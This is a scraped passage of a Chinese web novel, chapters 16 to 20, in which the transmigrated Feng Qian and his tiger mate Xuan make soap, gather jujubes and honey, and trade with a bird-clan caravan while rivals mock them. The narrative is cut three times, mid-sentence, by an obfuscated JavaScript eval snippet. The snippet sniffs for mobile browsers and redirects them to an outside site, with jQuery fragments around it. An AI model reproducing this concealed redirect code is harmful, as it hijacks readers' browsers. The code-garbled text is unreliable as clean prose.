风浅活了二十多年,头一回扎头发,用玄送他的发带给自己绑了个高马尾。
原主的头发挺长,但毛毛躁躁的一团不显长,现在洗顺了,用梳子一梳,即使扎着高马尾,发梢也垂到了腰。
风浅看着玄眼底泛起的流光和惊艳,心里得意,在玄面前转了个圈,发梢扫过玄的面庞。
“好看吗——啊!”
风浅惊呼一声,话未说完便被玄扯着胳膊拉到怀里。
四目相对,交融的视线逐渐升温。
玄本就坐在兽皮窝上,风浅无骨的菟丝子一样攀上玄的肩膀,压低声音,嘴唇鼻尖若有若无地蹭着玄的耳廓,“老攻,好看吗。”
17. 肥皂外交(捉虫)
白日宣淫的结果,风浅一个人趴在兽皮窝里起不来,哼哼唧唧地看着山洞外忙忙碌碌的玄。熬猪油,烧贝壳,煮碱水……
风浅琢磨着,洞房那日玄送给他的花环,花环上的花很好闻,或许可以用那个花做香皂。但眼下羽族商队马上就到了,不管是提取精油还是用油脂吸附怕是都来不及了。不过可以以后有时间了,做了自己用……
翌日,部落集体采集的日子。
风浅的出现让山谷里的兽人和亚兽人眼前一亮。
兽人大陆,兽人的头发和兽形时的毛发有关,普遍比较短,容易打理,即使不怎么收拾也显得干净清爽,而亚兽人的头发则可以长的很长,缺乏梳洗的工具,又少有可以剪断头发的锋利骨刀,导致大部分亚兽人的头发都是毛毛躁躁的一团,有些邋遢。
人们习惯了自然界雄性动物比负责生育的雌性动物更精致漂亮,也就习惯了亚兽人像灰扑扑的雌性咕咕兽一样。
但爱美是人类的共性。
盯着风浅看的兽人很快注意到了玄的不快,被玄的威压逼的喘不过气,紧忙收回了视线。
亚兽人则不畏惧玄的这种宣誓主权的警告。
芽跑到风浅的身边,惊讶地围着风浅转圈,“啊,风浅,你更漂亮了。”
“你这头发是怎么回事?竟然洗的一根是一根的,怎么做到的?还有蚕丝布,你竟然用蚕丝布绑头发,是玄送你的吗?”
风浅觉得自己现在有点儿像在拍洗发水的广告,但他要的就是这个效果。
风浅从兽皮袋里拿了一块肥皂和一把梳子,他将肥皂递给芽,“这是肥皂,我就是用它洗的头发,洗完,头发就变得很干净很干净了。肥皂还可以洗手洗脸洗澡洗衣服,总之,不管什么脏了,都可以用肥皂试试。”
风浅又用梳子梳了梳发梢,示意给芽看,“这是用木头做的梳子,这样梳过之后,头发就会变得很顺,很整洁。你可以让你的兽人伴侣用爪子尖儿照着这个抠一个一模一样的。但这把梳子是玄送给我的,就不能送你了。”风浅解释。
他今天带了三块肥皂过来,芽一块,雪晴一块,还有一块是给族长九的亚兽人伴侣的。族长的亚兽人伴侣和他们不是一个采集队,和他并不熟,这块他托雪晴转交了。
看了风浅的变化,芽揣着风浅给的肥皂,整个采集期间都跟在风浅的身边,叽叽喳喳地说个不停,这几日风浅也已经习惯了芽的话痨。
下午,采集队收工。为了给肥皂打开销路,在羽族商队来之前把肥皂的名声打出去,风浅主动提出要教芽怎么用肥皂洗头。
部落里其他亚兽人也想看看肥皂的真假。这么一小块像石头的东西,真能把头发洗的那么顺,那么干净?
在大家的怂恿下,洗头的地点定在部落山谷的空地上。风浅和芽的周围围了一圈圈看热闹的人。
芽已经算是部落里爱干净的亚兽人了,纵使这样,搓第一遍肥皂的时候头发也是连肥皂沫都没起。旁边看热闹的亚兽人帮着换了盆水,风浅让芽搓第二遍肥皂,这下很容易就起了白色的沫沫。
再换水,将头发上的泡沫漂净,肉眼可见的清爽干净起来。
木盆中,清澈的水里,根根明净柔顺的头发飘在水中,水草一样随着水波轻摆摇荡。
芽起身,将头发从水盆里捞起,用一块兽皮擦干,即使还未用梳子梳过,一头栗色的秀发已是柔顺的垂在身后。
风浅用自己的梳子给芽梳了梳头,配合芽的娃娃脸,给芽编了一条及腰的麻花辫。
发型一换,芽瞬间好像换了一个人,连气质都变了,从原始社会的话痨小泥人变成了二次元天真活泼的小王子。
芽惊喜地站在水盆边欣赏自己的倒影,兴奋地自言自语,“我竟然长得这么好看吗?头发竟然还可以这样编。”
芽一把抱住风浅,“风浅,你真是太好,太厉害了。”
周围的亚兽人亲眼见了芽大变活人,纷纷对肥皂起了兴趣,只是和风浅不熟,不好开口。
和风浅同一个采集队的一位女性亚兽人最先受不住肥皂的诱惑,站出来问道,“风浅,你这肥皂还有吗。我能不能和你换一块?”
风浅的目的就在这,自然愿意,“一兽皮袋窝窝绒换一块肥皂。”
黎山部落生育率不高,但周围的窝窝绒却不少,摘一袋子窝窝绒用不了多长时间,他这价格定的可以说是相当低了。
女性亚兽人似乎松了口气,高兴道,“我现在没有窝窝绒,明天摘了给你送去……”突然想到风浅是玄的亚兽人,去找风浅很有可能遇上玄,女性亚兽人有些怕玄,忙改口道,“我多摘几袋窝窝绒,后天早上采集的时候拿来。”
风浅点头同意了,只当没瞧出女性亚兽人的顾虑。他也不喜欢有人突然上门,特别是休息日,万一赶上他和玄比较有“兴致”的时候,多不好意思啊。
“我也,我也。”
“算我一个。”
“我也要。”
有了女性亚兽人领头,纷纷有人冒出来抢着跟风浅定肥皂。还好玄昨天做的多,不然怕是要不够分了。今晚回去继续熬猪油,煮碱水!
“一个不能生的傻子要那么多窝窝绒干什么?有机会用吗?”人群里有人嫌弃地嘀咕道,“傻子做的东西你们也敢用。”
风浅一瞧,这不是沙漠里抢他兽皮袋,被他卸了下巴的亚兽人红月吗。
红月是新结契的亚兽人,最近才加入采集队。许是在黎山部落生活的不错,气色比在沙漠时好很多。
芽第一个站出来不同意,气冲冲地对着红月,“谁说风浅不能生的!你是鼠族又怎样,风浅可是兔族!你不服也不行,兔族就是比鼠族更能生!麦苗也是兔族的,麦苗可是一年生过两次蛋。风浅也一定可以年年抱窝的!”
年年抱窝。
风浅差点儿被芽的豪言壮语砸泥里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040090|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杀人诛心啊。
年年抱窝,他屁股还要不要了。
虽然知道芽也是为了他好,但要不要这么咒人啊!
雪晴将芽和红月隔开,有些不满地看向红月,“都是一个部落的人,有多大的仇怨,你怎么可以骂一个亚兽人不能生呢。”
“风浅愿意用肥皂和你们换窝窝绒,想要肥皂的就拿窝窝绒和风浅换,你情我愿的事,没有谁掐着你的脖子逼着你换。”
这场闹剧结束的时候刚好有狩猎队回来,不是玄的那队,别人去看猎物了,风浅提前回了山洞。
隔日,正式开始他的“肥皂外交”。
窝窝绒易得,一块肥皂一袋子窝窝绒,这基本等于白菜价了。
部落里亚兽人的数量不足百,风浅拿了五十块肥皂被一抢而空。风浅负责交易肥皂,玄把换来的窝窝绒送回山洞。往山洞送只是遮掩,最终都被他收在空间里了。
祭司虽然不满意风浅和玄利用早晨的时间交易肥皂,但大家都很自觉,为了交易提前来了山谷,并没有耽误狩猎和采集的时间。事实上,在祭司眼里,玄的存在就是错误、罪孽,不管玄做什么,哪怕只是呼吸都会让祭司不满。
风浅突然找到对付祭司的办法了。他和玄过的越好,祭司就难受,祭司越难受,他就越开心。这么大岁数的人了,也不怕哪天气着气着就气过去了。
“风浅,你说的那种梳子真好用。前天一回去就让我家兽人给我抠了一把,梳头梳毛都是一顶一的好用咧。”一个来换肥皂的年轻男性亚兽人赞不绝口。
部落里年轻一代的兽人、亚兽人对玄的抵触比较小,来换肥皂的大都是年轻的亚兽人,偶尔还有一两个爱美爱干净的兽人。
风浅瞥见站在大树下的祭司,祭司黑着脸,脸都要拉到地上了,风浅一阵高兴,越发热情地和来换肥皂的年轻男性亚兽人打招呼。事后风浅才知道,这个年轻亚兽人是祭司孙子的伴侣,而祭司似乎相当看不上这个“孙媳妇”。
“梳毛?”风浅笑着问眼前的年轻男性亚兽人。
亚兽人笑着点头,“是啊,前天,我家端化成兽形给我抠梳子,做完了,我随手就拿梳子给他梳毛,本来只是想试试梳子的手感,结果我家端就梳上瘾了,赖着不起来。家里的小崽子也有样学样要梳毛。唉,我这手累的,今早起来给自己梳头都没力气了。”
“呐,你今天回去用肥皂把头发洗干净了,再梳就更容易了。”风浅建议道。他面上没显,内里却抓心挠肝。
他怎么没想到梳子还能梳毛呢。玄兽形那么大一只虎,这梳起来才好玩呢。猫一梳毛就放扁,变成猫条猫饼,不知道虎会不会。
晚上回了山洞。
玄一回来就被风浅直勾勾地盯着,那眼神热情是热情,却不是平日里求欢缠人的样子,硬要说的话就是憋着一股坏。
这是要干什么?
玄被自家亚兽人盯得发毛。
18. 红枣
羽族商队一般会在部落停留三天,这三天部落是不出去集体狩猎或者采集的。
今天是第一天,羽族预计会在晌午时分到达黎山部落。
部落里祭司和族长领着人收拾了三间山洞给商队居住休息,并在山谷里给羽族搭了交易货物的摊位。
玄被赶出了部落,不算部落里的成员,也就没有被分配任务。但他和风浅想要和羽族交换物资需要先向黎山部落交一块盐砖。
一大早,饭还没吃,风浅正在山洞门口煎咕咕蛋,便有个祭司的学徒上门“收税”。
这学徒是个十几岁的小兽人,一脸稚嫩,却把祭司装模作样的做派学了个十足。
“祭司大人说了,你今年刚娶了亚兽人,手里的盐砖也不宽裕,祭司大人看在族长的面子上,允许你用肥皂代替盐砖。你那肥皂一块才换一袋窝窝绒,想也不是什么珍贵的东西,若是想代替盐砖,需要四十块肥皂。”小兽人半眯着眼睛,扬着下巴,趾高气昂地对玄说。
部落里的人大多畏惧玄,对玄有些疏离,风浅这还是第一次看到有人用这种态度对玄。俗话说牛眼看人大,鹅眼看人小,这兽人的兽形怕不是大鹅。张嘴就要四十块肥皂,狮子都没这么大的口,也不怕把自己洗秃噜皮了。
“相比盐砖,肥皂确实是可有可无的东西。”玄板着脸,一本正经地说。
“四十块肥皂换一块盐砖,便宜你了,都是祭司大人心善仁慈。”小兽人高傲地看了眼玄。
“祭司大人这么为我着想,我也不能不替部落考虑。”玄微微停顿,继续说,“盐砖是部落生存的根本,为了部落着想,我和风浅省着些用,这次还是交盐砖吧。”
“你说什么?!”小兽人急了,横眉竖眼。
玄并未理,回山洞取了块盐砖直接扔给小兽人,冷冷道,“回吧。”
小兽人被抛到怀里的盐砖砸得一个趔趄,一脸狠相地看着玄,“你竟然敢不给肥皂。那可是祭司大人要的!”
“祭司大人怎么会为了自己就把盐砖换成肥皂呢。”风浅笑着出来打岔。他们还要在黎山部落生活,那就不能彻底把祭司得罪了。但祭司张口就是四十块肥皂也实在太不要脸了。
小兽人自知失言,一不小心说了真话,这话要是传出去会影响祭司在大家心里的地位。而且祭司不只他一个学徒,若是让祭司知道他在外说了不该说的话,一定会把他赶回集体山洞,甚至赶出部落。
“这两块肥皂呢,是孝敬祭司大人的。”风浅拿了两块肥皂摆在小兽人手里的盐砖上,“我和玄虽然生活困难了些,但也不能为了自己的利益就短了部落的盐砖。感谢祭司大人的好意,但这次还是交盐砖。”
小兽人气哼哼地走了,玄不是好东西,找的亚兽人也不是好东西。这两个还生活困难?!那亚兽人做的饭香气都飘到山那头了!若是换成哪个有眼色的,懂事的,就应该邀请他吃早饭,然后乖乖拿出四十块肥皂,再格外给他两块肥皂让他在祭司大人面前美言两句!
玄就是个煞星。
他若是以后继承了祭司的位置,一定要把这两人彻底赶出部落!
打发走祭司的学徒,风浅和玄没打算干坐在山洞里等羽族的到来。
前几日一直在做肥皂,或者跟着部落集体狩猎采集,他们很久没有自由狩猎采集了。
风浅和玄打算利用这半天的时间去附近山上走走,也不走远,就去山洞后面的山林。
这片山林地势陡峭,林中都是些杂木,没有刺刺果、硬壳果这些可以做口粮的野果,也就不在采集队的采集范围。
玄平常会在后山砍柴,因此山林外围的路还算好走,进入内围,树木陡然变大,古树参天,路也变得难走,到处都是枯倒在地的老树枯木,横七竖八。
玄用骨刀砍了些枯死的干树收回空间。他们这几日做肥皂熬油、熬盐、煮碱水,哪儿样都离不了柴,之前存的烧火柴已经不多了。
秋风拂过,风浅只觉得兽皮衣服底下凉嗖嗖的,冻起一身鸡皮疙瘩。这还只是深秋,真不知道冬季要怎么熬。
山坡上一段枯死的朽木很快吸引了他的视线,整个树干上全是一种嫩黄色的小蘑菇,属于一种可食用的菌种。
中午之前得下山,时间比较紧,风浅说这种蘑菇能吃,玄便直接把整根树干都收进了空间,省去摘蘑菇的时间。
这山顶上很多老死的枯树,简直就是蘑菇的天堂,猪耳大的木耳,蒲扇大的平菇,篮球大的猴头、银耳,让人眼花缭乱,只恨手脚不够用。
部落里的人只认识几种蘑菇,因为以前蘑菇毒死过人,并不敢大肆采摘。风浅却不存在这个问题,不管是蘑菇还是野菜野果,他只要一靠近就知道这东西能不能吃,吃了又有什么好处。
风浅只顾着弯腰低头捡蘑菇,走着走着,噗通一下,脑袋被砸个正着。风浅还没来得及叫疼,“罪魁祸首”就三蹦两跳地把他手边的蘑菇砸个稀烂。
是一颗鸭蛋大小的红枣!
风浅眼睛瞬间亮了,头不疼了,眼不花了。鸭蛋大小的红枣啊,这在蓝星上可是想都不敢想的。
一抬头,半山腰的石头堆里长着一棵成年兽人大腿粗的歪脖子枣树,红彤彤的枣子挂了一树,风一吹,空气里都是枣的蜜香。
牛顿被苹果砸,他被红枣砸!
砸的值!
风浅咬了口罪魁祸首,贼甜。
“玄,玄,到这边!先过来捡枣子啊。”风浅招呼另一个山坡上捡蘑菇的玄。
玄化成兽形,一跃,跨过山沟,直接从另一个山坡跳到风浅这边的山坡上。
俊俏威武的大白老虎在空中划过一道流畅雪白的影子,日光下,全身的皮毛好像雪一样泛着光彩,带着熟悉的气息,轻巧地落在风浅的身边。
风浅不禁抱住面前的大白老虎,猛蹭了蹭,恨不得把自己揉进大白老虎的皮毛里。
自家老虎这身水光顺滑的皮毛可有他梳毛的一半功劳!
枣子在黎山部落也叫“枣”,是一种很难得的野果。枣树生长慢,黎山部落领地内只有两棵枣树处在盛果期。这两棵枣树不允许自由采集,都是祭司领着几个学徒亲自收货采集。
采集到的枣子也不是所有人都能分到,一般只给怀孕或者刚刚生产的亚兽人。
风浅可不信祭司自己没昧下来过。
玄让风浅站到一边,他自己化成兽形,健硕的虎爪“嗙嗙”两下拍在树干上,鸭蛋大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040091|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的枣子下冰雹似的簌簌落下。
风浅事先扛了两棵枯死的树干横在山坡上,从山上滚下来的枣子大半都被堵在“矮墙”下,不需要漫山遍野的捡。
正在捡枣子的风浅突然住了手。
“嗡嗡”的响声听得越来越真切。
惊涛骇浪,成千上万。
风浅顿时头皮发麻,全身的汗毛都要炸开了。
什么叫捅了马蜂窝。
这东西他有异能的时候都对付不了。兔宝贝自己一身数不清的藤蔓,动不动一高兴了就密密麻麻的开一身小白花,但却有密集恐惧症,最讨厌一窝一窝的东西,比如蜜蜂、蚂蚁。
“玄!快跑!”风浅冲玄跑过去。
玄气定神闲地看了眼风浅,化成兽形,没把风浅扔背上,反倒把人压在肚皮下,虎啸震天,君临天下,万兽臣服。
玄收起爪尖儿,抬起比风浅脸还大的虎爪,轻轻拍了拍风浅的脸,“蜜蜂被我震晕了,一时半会儿醒不过来。”
事实上,受风浅焦躁的情绪感染,他一不小心有些用力过猛,很可能有一半的蜜蜂直接被震死了。
风浅大有一种大难不死,劫后余生的感觉,竖起耳朵细听,果然没有了嗡嗡声。风浅松了一口气,“还能这样?”
“嗯。”大白老虎低头用毛茸茸的鼻梁拱了拱风浅的脸,带着倒刺儿的舌头卷过风浅的下巴、嘴唇。
风浅闭着眼睛让大老虎亲昵,不知什么时候,压在身上的兽人化成了人形,唇齿纠缠。
玄抱起风浅,“这群蜜蜂应该是被枣子的甜香引来的。我们去附近找找,看看有没有蜂巢,或许能弄些蜂蜜。”
蜂蜜是比盐、比陶器更稀有难得的东西。一般熊族的兽人比较擅长寻找蜂蜜。
蜂巢在一处石崖上,玄震晕了蜂巢周围的蜜蜂,化成兽形,几步攀上石崖,直接将蜂巢收进空间。
将近晌午,两人回了山洞。
部落山谷里隐约传来庆祝的声音,羽族已经到了。
两人简单吃了点儿肉干红枣做午饭便提了一兽皮袋的肥皂、兽皮去部落山谷里。
去晚了风浅怕好东西被人抢走了。
羽族这次来了十一二个人,山谷里大大小小摆了十几个摊位,部落里男女老少全出动了,人山人海,比狩猎队回来分猎物的时候人还多。
到部落快一个月了,风浅还是第一次看到这么多人。
“还有去年的咸鱼吗?越咸越好。”
“我要贝肉!”
“咱们部落的贝壳一点儿不好吃,但海族的贝肉就好吃的让人想把舌头吞了。明明都是贝壳,这河里的和海里的差距就这么大。”
“是啊是啊,去年冬天有一段时间没肉吃了,我把贝肉扔在锅里用热水煮,哪怕只有贝肉,那热汤也鲜鲜的,还有咸味儿。”
“有漂亮的羽毛吗。越鲜艳越好。”
“唉,芒,你这是看上了哪家的小亚兽人,定下来了吗,就要送人家羽毛。”
“有蚕丝部落的蚕丝线吗?麦籽能换吗?”
“晒干的野菜和硬壳果要吗?”
“我这有梳子,一百把,你们羽族收吗?”一道熟悉的声音突然响起。
19. 羽族商队1
卖梳子的是芽。
前几天芽特意找上他,问他会不会卖梳子给羽族。
风浅只打算卖肥皂。在他看来,梳子、戒指、手镯这些东西都有特定的意义,玄亲手做的梳子,不管多少把,都得是他一个人的。
确定风浅不卖,芽又问风浅他可不可以卖。
像羽族、海族、羊族,还有蚕丝部落兽形为蚕、蝶、蜘蛛的一些种族,这些人的兽形是没有锋利又灵活的爪子的,想要做梳子只能借助工具,做起来并不容易。
这么一算,做梳子卖其实很有前途。
不过这是个一篮子买卖。
梳子的结构简单,大部分有爪子的人看一遍就能做出来。爪子锋利的兽人一天甚至能抠出十几、二十几把梳子。也就是现在趁着大部人还没想到能用梳子和羽族交换物资,先赚一笔,等大家都知道了能用梳子换物资,以后再想用梳子换物资就难了。
风浅自然支持芽的想法。他想卖肥皂,配合上芽的梳子是再好不过的。当初在部落里宣传肥皂,他也是搭配着梳子来的。芽现在能想到用梳子和羽族交换物资,那也是芽自己脑袋灵光。
听到芽在向羽族推销梳子,风浅也凑了过去。
羽族的摊位前,芽已经解开了自己的麻花辫,正在用梳子给羽族做示范,向羽族讲解梳子的用法。
“用你这个叫梳子的东西就能把头发梳的这么顺?这么漂亮?”羽族的一个女性亚兽人上前问道。他们这次来黎山部落着实被这里的变化惊到了,还以为走进了什么不得了的地方。有陶部落和盐咸部落的亚兽人都没有现在黎山部落的亚兽人光鲜。
黎山部落的亚兽人一个个都收拾的整洁干净,半身飘逸顺滑的长发或扎在头顶,或编了辫子垂在身后,行走间随着身姿摇曳摆动。原本困扰着亚兽人们乱糟糟、脏兮兮的头发,反倒成了一道风景。
她以前听族里的老人讲过,传说在更高级的大陆上,那里的亚兽人们都身着漂亮艳丽的鲛绡蚕丝,头发顺滑如绸布,梳成各种复杂的样式,带着满头珍珠玉石。
芽一边编头发一边给羽族的人解释,“我这个梳子是可以把头发梳的顺滑,编上漂亮的发辫,但你们没有用肥皂洗过头,想要梳成我这样子有些费力。最好是用肥皂把头发洗干净了,再用梳子梳,这样效果最好。”
“肥皂?就是那个叫风浅的亚兽人吗?”羽族的女性亚兽人问。他们今天到了黎山部落之后,每每打听黎山部落亚兽人的变化,都会有人提起肥皂和叫风浅的亚兽人,好像这个叫风浅的亚兽人还是个来自兔族的行为放浪的傻子。
“是啊,我们部落的肥皂都是从风浅那换的。风浅应该也会来——”芽突然被人拍了肩膀。
风浅笑着搭上芽的肩膀。什么叫说曹操曹操到。
芽惊喜道,“——啊,风浅,你终于来了啊。大家都问你的肥皂呢。”
“嗯,我看你在卖梳子就过来了。看你整天就只编一个麻花辫,梳子给我,我给你换个新的发型。”风浅说。
部落里的人虽然都急着和羽族换物资,但毕竟有三天的交换时间呢,此时大家更好奇除了把头发扎头顶上和编成发辫垂在脑后,还能有什么发型,风浅又要给芽梳什么样的头。所有人都抻着脖子往风浅和芽这边看。
才开始扎头发不到一个月的风浅心里默默为自己抹把汗,没想到自己有一天还能变身成托尼老师,还好末世无聊的时候把电脑里几本古装剧盘烂了。复杂的不会,装模作样糊弄糊弄原始人还可以!
风浅跟玄要了根没用过的木筷子。想着古装剧里女主用簪子挽头发的场景,试了两遍,终于给芽在头顶挽了个发髻。
古装剧里这个发髻最大的用处就是女主女扮男装时被人识破身份,发簪被摘,镜头一转,满屏都是如瀑的青丝,够漂亮。
但他就是不明白了,怎么女主的本体是根簪子吗。簪子一拔,头发一散,就变身,不,变性了。
有人解释是古人男女发髻梳法不同,女子簪子一拔头发会散,男子拔了簪子发髻也不会散。不知真假,不过这个发髻用在连根发带、头绳都没有的原始社会还挺方便。木棍一根,头发扎起。
风浅给芽扎的是个半披式的发髻,头顶一团发髻,身后长发如瀑,配上芽一张玉润的娃娃脸,不看那一身充满野性原始的兽皮衣,还以为是哪家高门贵户的小公子呢。
周围的亚兽人双眼冒光的盯着芽,恨不得以身代之。为什么想到向羽族卖梳子的是芽,得了新发型的还是芽!
趁着羽族亚兽人正震惊稀奇的时候,风浅提出可以让羽族的这位女性亚兽人试试怎么用肥皂洗头发。
风浅在部落里教过怎么用肥皂洗头,但当时看到的人并不多,今天是第二次,黎山部落里的人也都跃跃越试,想看看自己从别人那里听说的用法对不对。
刚刚过了晌午做饭的时候,部落里很快就有人端来了热水。芽主动提出要教羽族的亚兽人洗头。
这位羽族亚兽人的头发特别长,梳开之后发梢垂到膝盖,芽帮羽族亚兽人搓了三遍肥皂才把头发洗干净。
擦干之后,还是风浅给羽族亚兽人梳头。
羽族的亚兽人是位漂亮的姑娘,风浅便把头发梳的复杂了些。
跟羽族人要了两根红色的蚕丝线,在羽族亚兽人耳后各编了个三股辫垂下来,艳红的蚕丝线就编在发辫里,俏皮秀丽。主要的发髻用同色的发带绑在脑后,风浅把手里的梳子当作古代女子的篦子装饰在羽族亚兽人的头顶。
秋风起,艳红的飘带随着羽族亚兽人蜜色的发丝飘起,好像油画里的少年少女。
周围的亚兽人盯着羽族亚兽人直了眼,原来,亚兽人还可以这样艳丽、漂亮!
羽族人亲眼见证了肥皂和梳子的用处,自然愿意和风浅、和芽达成交易。
这两样东西不仅可以本族用,还可以运到其他部落,换更多的物资。
芽用三十把梳子换了六十条咸鱼,十五把梳子换一兽皮袋干贝肉,十五把梳子换一兽皮袋干虾仁,十五把梳子换半兽皮袋地甜果,十五把梳子换一兽皮袋各种果干,十把梳子换了一条红色的蚕丝线头绳。
风浅的肥皂也不用特意宣传了。
只是在价格上出现了岔子。
风浅前脚和羽族讲好三块肥皂一袋子干贝肉,后脚红月就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040092|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挤进了羽族的摊位,阴阳怪气,“风浅,你这也太欺负羽族的客人了。前些日子才在部落里让大家用一袋子窝窝绒换一块肥皂,今个儿就成了三块肥皂一袋子干贝肉了。”
“你这是把三袋子窝窝绒当作一袋子干贝肉了呗。窝窝绒是什么东西,干贝肉又是什么东西。你这是把羽族的客人当傻子耍呢。还是说,你自己是个傻子,以为窝窝绒和干贝肉是一个东西了啊。”
“你想用肥皂换干贝肉,怎么还不得像芽一样,拿个十几、二十几块才像样子啊。你这样对待远来的客人,我都看不下去了。你这样会让其他部落的人觉得咱们黎山部落都是你这样坏心眼的人,以后谁还敢和咱们黎山部落交易。”
红月扭着腰,端着手,站在羽族的摊位旁,一脸得意,一句接着一句。
鼠族和兔族相邻,他自小就听着族里的老人们感叹鼠族的生育能力很强,鼠族的亚兽人在兽人大陆很受欢迎,但无论在相貌还是生育能力上,可惜都输了兔族一等。他最烦兔族的亚兽人,天生就烦,风浅也好,林果也好,若是没有这两个兔族的亚兽人,他就该是今年黎山部落里最受兽人青睐的亚兽人了!
肥皂普及以来,红月是黎山部落里少有的还没用肥皂清洁过的亚兽人。以前大家都灰扑扑的一团,谁也别嫌弃谁。现在别人都洗的干干净净、清清爽爽了,便显得没洗过的红月格外邋遢。
风浅不耐烦的咋了下舌,这个鼠族的红月实在太聒噪了,明明是个男性亚兽人,偏要拿着嗓子学女性亚兽人的声音说话,学也没学没明白,哪个女性亚兽人声音像他这样聒噪刺耳的。
风浅和羽族的兽人解释,“之前一袋子窝窝绒一块肥皂是因为我当时急着用窝窝绒,而且,在部落内部交换物资,总要顾着同一个部落的情分,不能要的太高,能换就换了。”
风浅真没想到在部落内低价交换物资会给自己惹这么大的麻烦,这不是逼着他做奸商吗,以后谁也别想从他手里低价换物资了。
“谁和你一个部落了!”红月尖叫,“你根本就不是我们黎山部落的人。不是我们黎山部落的人,却在我们黎山部落的交易集市上欺骗羽族的客人。风浅,你实在太过分了!”
“谷山!蓬!把你家亚兽人带回去!大呼小叫地影响部落交易。”族长九被红月高声的尖叫招了过来,朝着红月身后两个兽人斥责,“连自己的亚兽人都管不住!”
“谁不是黎山部落的人了!我一时还真分不出谁不是我黎山部落的人了!不分里外的东西。鼠族的亚兽人以后都不要娶了!”族长九越说越气。兽人大陆有句话,叫人心随兽形,他以前不信,现在这话真是应在红月身上了。
红月这段插曲过去了,肥皂的价格却提不上来了。风浅最后只得用五块肥皂换一兽皮袋干贝肉的价格与羽族交换物资。
一兽皮袋干贝肉,一兽皮袋干虾仁,一兽皮袋各种果干,走到红薯摊前,风浅好不容易才忍住没把所有的红薯都包圆了。今年部落里收成不错,后面很多人都等着换红薯,他要是把红薯包圆了,得被不少人“记恨”上。
“那边有夜明珠,要吗?”一直站在风浅旁边的玄拧着眉问。
20. 羽族商队2(捉虫)
咸鱼是羽族摊位上最受欢迎的物资。
羽族部落在海岛上,与海族为邻居,两族友好,羽族货摊上有三分之一的物资都来自海族,咸鱼便是其中之一。
鱼肉很难晒干,为了方便储存,海族腌制咸鱼的时候用了大量的盐,鱼肉表面甚至渗出一层白色的晶体。
咸鱼既是肉,也可以代替盐。
盐咸部落的盐砖价格高,还要换盐小队跋山涉水,冒着风险进大沙漠运回来。相比盐咸部落的盐砖,明显海族的咸鱼更合算,价格便宜还送货上门。
部落里盐砖储备不够的,往往会和羽族商队交换一些咸鱼,以备不时之需。
看到风浅没有像芽一样一下换走六十多条咸鱼,部落里的人松了口气。羽族带来的咸鱼就那么多,年年都不够换的,别人多换一条,等到自己的时候就少一条。
风浅一条咸鱼也没换,部落里的人又想或许是风浅的回礼只有两块盐砖,即使娶了风浅,玄手里也不缺盐砖。
甚至有的兽人开始眼红玄。早知风浅并没有传说的那么傻,还会做肥皂,他们也愿意拿两块盐砖把风浅娶回来啊。那可是兔族的亚兽人,即使不好生养也绝对比其他种族的亚兽人更容易生蛋。两块盐砖就能娶一个只属于自己的亚兽人,怎么什么好处都让玄这个怪胎、煞星占了。
风浅和玄自然没有闲心管旁人怎么想。风浅一味儿地挑着羽族摊子上的物资,玄扛着风浅和羽族交换到的物资,跟在风浅身后。
“那边有夜明珠,要吗?”玄拍了拍蹲在地上挑干海菜的风浅。他夜里可以视物用不上夜明珠,但风浅不行。
而且,他想补偿风浅,想让风浅高兴。
兽人与亚兽人之间体力、力量悬殊,为了保护亚兽人不受伤害,部落规定不允许兽人参加到亚兽人之间的争端。他看着风浅被别的亚兽人挤兑,却不能动手,这绝对算不上一种好的体验。不能拍死欺负风浅的亚兽人,那就只能从别的地方补上。
风浅顺着玄的视线看过去。摆着夜明珠的摊位不大,却守着两个羽族兽人。那摊子上一共就三个夜明珠,最小的乒乓球大,最大的成年兽人的拳头大。旁边还有一个盆大的贝壳,贝壳里堆了大大小小不同颜色的珍珠。再旁边是一些贝壳制的风铃、项链、手链等装饰物,还有贝壳碗、海螺号角。
号角一般是部落集合、预警时用的,有兽角做的,也有海螺做的。黎山部落这次就由族长出面,换了一个巨大的海螺号角。
“有了夜明珠,晚上山洞里就不黑了。”玄见风浅没有要买的意思,劝道。他虽然挺喜欢风浅因为夜里看不见,不得不窝在他怀里,被他抱来抱去的,但对风浅来说总是不方便的,他一不留神,风浅就可能磕了头绊了脚。
“挺贵吧。”风浅直觉这东西不应该是他们能买起的,而且他没想到这一界竟然真的有夜明珠。末世的时候海洋动物变异,倒是有一种变异的贝类可以产夜明珠,但变异的贝类年头还小,产出的夜明珠还没鱼眼大。
